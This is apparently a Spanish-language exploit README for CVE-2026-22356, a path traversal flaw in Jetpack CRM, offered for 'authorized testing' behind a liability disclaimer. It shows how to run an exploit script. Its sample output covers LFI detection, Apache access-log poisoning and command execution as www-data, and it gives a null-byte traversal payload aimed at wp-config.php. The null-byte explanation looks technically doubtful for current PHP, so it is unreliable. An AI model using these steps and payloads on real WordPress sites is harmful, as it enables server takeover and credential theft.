
CVE-2026-22356: Vulnerabilidad de Path Traversal y RCE en Jetpack CRM
Advertencia: Esta herramienta debe utilizarse únicamente en entornos de prueba autorizados. El usuario es totalmente responsable del uso ilegal.
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
En este código, $page_name se utiliza directamente sin pasar por ninguna validación, por lo que un atacante puede enviar page=../../../wp-config.php%00 para provocar la llamada require_once("admin/../../../wp-config.php%00.page.php"). Cuando PHP interpreta el byte nulo como el final del nombre del archivo, se ejecuta el archivo wp-config.php.
En la versión 6.7.1, este código se corrigió añadiendo comprobaciones de realpath() y strpos().
Este documento ha sido preparado para que comprenda la vulnerabilidad CVE-2026-22356 y la utilice en sus pruebas autorizadas. El uso contrario a la ley es responsabilidad exclusiva del usuario.